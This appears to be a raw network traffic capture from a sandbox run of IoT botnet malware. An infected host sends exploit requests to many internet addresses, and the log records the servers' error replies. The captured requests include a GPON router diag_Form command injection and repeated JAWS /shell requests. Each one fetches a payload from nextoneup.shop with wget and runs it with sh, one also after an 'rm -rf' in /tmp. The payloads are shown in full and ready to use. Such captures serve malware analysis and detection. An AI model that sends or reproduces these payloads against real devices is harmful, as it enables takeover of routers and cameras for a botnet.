Apr 14, 2024 04:00:25.220232010 CEST	388	IN	HTTP/1.1 404 Not Found Date: Thu, 01 Jan 1970 18:42:03 GMT Server: DNVRS-Webs Cache-Control: no-cache Content-Length: 166 Content-Type: text/html Connection: keep-alive Keep-Alive: timeout=60, max=99 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 20 45 72 72 6f 72 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 3e 43 61 6e 27 74 20 6f 70 65 6e 20 55 52 4c 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html><head><title>Document Error: Not Found</title></head><body><h2>Access Error: 404 -- Not Found</h2><p>Can't open URL</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
998	192.168.2.13	54590	202.41.190.3	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:25.896019936 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
999	192.168.2.13	50014	184.28.129.186	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:26.442836046 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:26.829147100 CEST	608	IN	HTTP/1.1 503 Service Unavailable Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 373 Date: Sun, 14 Apr 2024 02:00:26 GMT Connection: keep-alive Expires: Sun, 14 Apr 2024 02:00:26 GMT Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 53 65 72 76 69 63 65 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 53 65 72 76 69 63 65 20 55 6e 61 76 61 69 6c 61 62 6c 65 20 2d 20 44 4e 53 20 66 61 69 6c 75 72 65 3c 2f 48 31 3e 0a 54 68 65 20 73 65 72 76 65 72 20 69 73 20 74 65 6d 70 6f 72 61 72 69 6c 79 20 75 6e 61 62 6c 65 20 74 6f 20 73 65 72 76 69 63 65 20 79 6f 75 72 20 72 65 71 75 65 73 74 2e 20 20 50 6c 65 61 73 65 20 74 72 79 20 61 67 61 69 6e 0a 6c 61 74 65 72 2e 3c 50 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 31 31 26 23 34 36 3b 34 61 34 30 33 36 31 37 26 23 34 36 3b 31 37 31 33 30 36 30 30 32 36 26 23 34 36 3b 32 34 39 30 62 38 66 36 0a 3c 50 3e 68 74 74 70 73 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 65 72 72 6f 72 73 26 23 34 36 3b 65 64 67 65 73 75 69 74 65 26 23 34 36 3b 6e 65 74 26 23 34 37 3b 31 31 26 23 34 36 3b 34 61 34 30 33 36 31 37 26 23 34 36 3b 31 37 31 33 30 36 30 30 32 36 26 23 34 36 3b 32 34 39 30 62 38 66 36 3c 2f 50 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Service Unavailable</TITLE></HEAD><BODY><H1>Service Unavailable - DNS failure</H1>The server is temporarily unable to service your request. Please try againlater.<P>Reference #11.4a403617.1713060026.2490b8f6<P>https://errors.edgesuite.net/11.4a403617.1713060026.2490b8f6</P></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1000	192.168.2.13	36682	116.124.75.172	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:26.526355028 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:26.847628117 CEST	198	IN	HTTP/1.1 400 Bad Request Content-type: text/html Content-Length: 0 X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
1001	192.168.2.13	37700	81.196.66.125	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:26.549972057 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:26.893317938 CEST	388	IN	HTTP/1.1 404 Not Found Date: Sun, 14 Apr 2024 05:13:26 GMT Server: DNVRS-Webs Cache-Control: no-cache Content-Length: 166 Content-Type: text/html Connection: keep-alive Keep-Alive: timeout=60, max=99 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 20 45 72 72 6f 72 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 3e 43 61 6e 27 74 20 6f 70 65 6e 20 55 52 4c 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html><head><title>Document Error: Not Found</title></head><body><h2>Access Error: 404 -- Not Found</h2><p>Can't open URL</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1002	192.168.2.13	39674	13.250.76.130	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:26.568954945 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1003	192.168.2.13	47068	104.20.202.107	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:26.613411903 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1004	192.168.2.13	53538	18.118.98.24	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:26.671375036 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:27.848429918 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:28.077322960 CEST	306	IN	HTTP/1.1 404 Not Found Server: nginx Date: Sun, 14 Apr 2024 02:00:27 GMT Content-Type: text/html Content-Length: 146 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1005	192.168.2.13	34058	68.61.182.44	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:26.769298077 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:27.018305063 CEST	438	IN	HTTP/1.1 404 Not Found Date: Sun, 14 Apr 2024 02:00:26 GMT Server: Apache/2.4.58 (Unix) OpenSSL/3.0.11 Content-Length: 196 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1006	192.168.2.13	54934	23.214.128.100	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:26.833868027 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:27.141989946 CEST	534	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 312 Expires: Sun, 14 Apr 2024 02:00:27 GMT Date: Sun, 14 Apr 2024 02:00:27 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 33 62 65 64 36 35 35 66 26 23 34 36 3b 31 37 31 33 30 36 30 30 32 37 26 23 34 36 3b 38 31 37 34 32 66 65 64 0a 3c 50 3e 68 74 74 70 73 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 65 72 72 6f 72 73 26 23 34 36 3b 65 64 67 65 73 75 69 74 65 26 23 34 36 3b 6e 65 74 26 23 34 37 3b 39 26 23 34 36 3b 33 62 65 64 36 35 35 66 26 23 34 36 3b 31 37 31 33 30 36 30 30 32 37 26 23 34 36 3b 38 31 37 34 32 66 65 64 3c 2f 50 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.3bed655f.1713060027.81742fed<P>https://errors.edgesuite.net/9.3bed655f.1713060027.81742fed</P></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1007	192.168.2.13	58572	80.209.252.57	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:26.844855070 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:27.164778948 CEST	1289	IN	HTTP/1.1 404 Not Found Date: Sun, 14 Apr 2024 02:00:26 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, Keep-Alive Accept-Ranges: bytes Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Expires: 0 Keep-Alive: timeout=5, max=10000 Transfer-Encoding: chunked Content-Type: text/html Data Raw: 31 0d 0a 0a 0d 0a 31 0d 0a 0a 0d 0a 31 0d 0a 0a 0d 0a 31 35 37 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 50 72 61 67 6d 61 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 45 78 70 69 72 65 73 22 20 63 6f 6e 74 65 6e 74 3d 22 30 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 0d 0a 33 0d 0a 34 30 34 0d 0a 31 0d 0a 20 0d 0a 39 0d 0a 4e 6f 74 20 46 6f 75 6e 64 0d 0a 31 66 63 61 0d 0a 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 34 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 34 32 38 35 37 31 34 32 39 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 66 66 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 32 46 33 32 33 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 73 65 63 74 69 6f 6e 2c 20 66 6f 6f 74 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 20 31 30 70 78 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 72 65 73 70 6f 6e 73 65 2d 69 6e 66 6f 20 Data Ascii: 111157<!DOCTYPE html><html> <head> <meta http-equiv="Content-type" content="text/html; charset=utf-8"> <meta http-equiv="Cache-control" content="no-cache"> <meta http-equiv="Pragma" content="no-cache"> <meta http-equiv="Expires" content="0"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>34041 9Not Found1fca</title> <style type="text/css"> body { font-family: Arial, Helvetica, sans-serif; font-size: 14px; line-height: 1.428571429; background-color: #ffffff; color: #2F3230; padding: 0; margin: 0; } section, footer { display: block; padding: 0; margin: 0; } .container { margin-left: auto; margin-right: auto; padding: 0 10px; } .response-info
Apr 14, 2024 04:00:27.164817095 CEST	1289	IN	Data Raw: 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 43 43 43 43 43 43 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 73 74 61 74 75 73 2d 63 6f 64 65 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 Data Ascii: { color: #CCCCCC; } .status-code { font-size: 500%; } .status-reason { font-size: 250%; display: block; } .contact-info, .reason-text {
Apr 14, 2024 04:00:27.164927006 CEST	1289	IN	Data Raw: 73 20 75 6c 20 6c 69 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 69 6e 66 6f 2d 69 6d 61 67 65 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 Data Ascii: s ul li { width: 100%; } .info-image { padding: 10px; } .info-heading { font-weight: bold; text-align: left; word-break: break-all; width:
Apr 14, 2024 04:00:27.164944887 CEST	1289	IN	Data Raw: 63 74 2d 69 6e 66 6f 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 38 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 69 6e 66 6f 2d 69 6d 61 67 65 20 7b Data Ascii: ct-info { font-size: 18px; } .info-image { float: left; } .info-heading { margin: 62px 0 0 98px; } .info-server address {
Apr 14, 2024 04:00:27.164958000 CEST	1289	IN	Data Raw: 2f 4c 6a 4a 6e 7a 4f 30 38 51 43 41 75 67 4c 61 6c 4b 65 71 50 2f 6d 45 6d 57 36 51 6a 2b 42 50 49 45 37 49 59 6d 54 79 77 31 4d 46 77 62 61 6b 73 61 79 62 53 78 44 43 41 34 53 54 46 2b 77 67 38 72 48 37 45 7a 4d 77 71 4e 69 62 59 33 38 6d 6c 76 Data Ascii: /LjJnzO08QCAugLalKeqP/mEmW6Qj+BPIE7IYmTyw1MFwbaksaybSxDCA4STF+wg8rH7EzMwqNibY38mlvXKDdU5pDH3TRkl40vxJkZ+DO2Nu/3HnyC7t15obGBtqRFRXo6+0Z5YQh5LHd9YGWOsF+9Is5oQXctZKbvdAAtbHHM8+GLfojWdIgPff7YifRTNiZmusW+w8fDj1xdevNnbU3VFfTEL/W33pfH31cGYBpgW9Lba3Ic
Apr 14, 2024 04:00:27.165014029 CEST	1289	IN	Data Raw: 6d 49 77 4b 73 61 63 4d 49 2f 54 56 4f 4c 6c 48 6a 51 6a 4d 31 59 56 74 56 51 33 52 77 68 76 4f 52 6f 33 63 6b 69 51 35 5a 4f 55 7a 6c 43 4f 4d 79 69 39 5a 2b 4c 58 52 45 68 53 35 69 71 72 49 34 51 6e 75 4e 6c 66 38 6f 56 45 62 4b 38 41 35 35 36 Data Ascii: mIwKsacMI/TVOLlHjQjM1YVtVQ3RwhvORo3ckiQ5ZOUzlCOMyi9Z+LXREhS5iqrI4QnuNlf8oVEbK8A556QQK0LNrTj2tiWfcFnh0hPIpYEVGjmBAe2b95U3wMxioiErRm2nuhd8QRCA8IwTRAW1O7PAsbtCPyMMgJp+1/IaxqGARzrFttphUR+MvEPSx+6m/pCxEi3Y7p485ESAVmuldvzSTKw2fqHSGM5hBW1IUI0f/LdONtE
Apr 14, 2024 04:00:27.165026903 CEST	1212	IN	Data Raw: 70 6b 52 63 65 63 57 66 6b 45 6d 64 43 41 65 68 67 75 65 75 54 6d 4e 74 2b 73 68 6b 52 65 4b 64 33 76 36 37 6e 50 39 63 4e 44 4a 48 76 6f 44 2b 2b 78 64 76 70 6f 76 58 4b 43 70 35 53 66 6f 47 78 48 73 6a 30 79 46 2b 49 77 48 55 75 73 37 73 6d 56 Data Ascii: pkRcecWfkEmdCAehgueuTmNt+shkReKd3v67nP9cNDJHvoD++xdvpovXKCp5SfoGxHsj0yF+IwHUus7smVh8IHVGIwJtLy7uN6Pe/wAnrBxOnAayISLWkQ8woBKyR++dUTsuEK+L8p2BD4fGdsfqhxGQTQZluHULXrRsUFfBE0OgzIlraR8vkw6qnXmuDSF8RgS8th+d+phci8FJf1fwapi44rFpfqTZAnW+JFRG3kf94Z+sSqd
Apr 14, 2024 04:00:27.165127039 CEST	1289	IN	Data Raw: 33 37 0d 0a 34 30 34 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 73 74 61 74 75 73 2d 72 65 61 73 6f 6e 22 3e 0d 0a 38 38 0d 0a 4e 6f 74 20 46 6f 75 6e 64 3c 2f 73 70 61 6e 3e 0a Data Ascii: 37404</span> <span class="status-reason">88Not Found</span> </section> <section class="contact-info"> Please forward this error screen to 1c127.0.0.1's <a href="mailto:38ro
Apr 14, 2024 04:00:27.165138960 CEST	533	IN	Data Raw: 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 73 65 63 74 69 6f 6e 3e 0a 20 20 20 20 20 20 20 20 3c 66 6f 6f 74 65 72 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 61 69 6e 65 72 Data Ascii: </div> </section> <footer> <div class="container"> <a href="http://cpanel.com/?utm_source=cpanelwhm&utm_medium=cplogo&utm_content=logolink&utm_campaign=131404referral" target="cpanel" title

Session ID	Source IP	Source Port	Destination IP	Destination Port
1008	192.168.2.13	54720	31.13.84.169	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:26.879375935 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:27.209397078 CEST	272	IN	HTTP/1.1 301 Moved Permanently Location: https://127.0.0.1/shell?cd+/tmp;rm+-rf+*;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws Content-Type: text/plain Server: proxygen-bolt Date: Sun, 14 Apr 2024 02:00:27 GMT Connection: keep-alive Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1009	192.168.2.13	55418	92.122.35.7	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:26.880911112 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:27.212596893 CEST	532	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 310 Expires: Sun, 14 Apr 2024 02:00:27 GMT Date: Sun, 14 Apr 2024 02:00:27 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 39 34 30 63 31 35 30 32 26 23 34 36 3b 31 37 31 33 30 36 30 30 32 37 26 23 34 36 3b 38 31 34 62 61 32 34 0a 3c 50 3e 68 74 74 70 73 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 65 72 72 6f 72 73 26 23 34 36 3b 65 64 67 65 73 75 69 74 65 26 23 34 36 3b 6e 65 74 26 23 34 37 3b 39 26 23 34 36 3b 39 34 30 63 31 35 30 32 26 23 34 36 3b 31 37 31 33 30 36 30 30 32 37 26 23 34 36 3b 38 31 34 62 61 32 34 3c 2f 50 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.940c1502.1713060027.814ba24<P>https://errors.edgesuite.net/9.940c1502.1713060027.814ba24</P></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1010	192.168.2.13	36766	147.47.56.57	80

Timestamp	Bytes transferred	Direction	Data
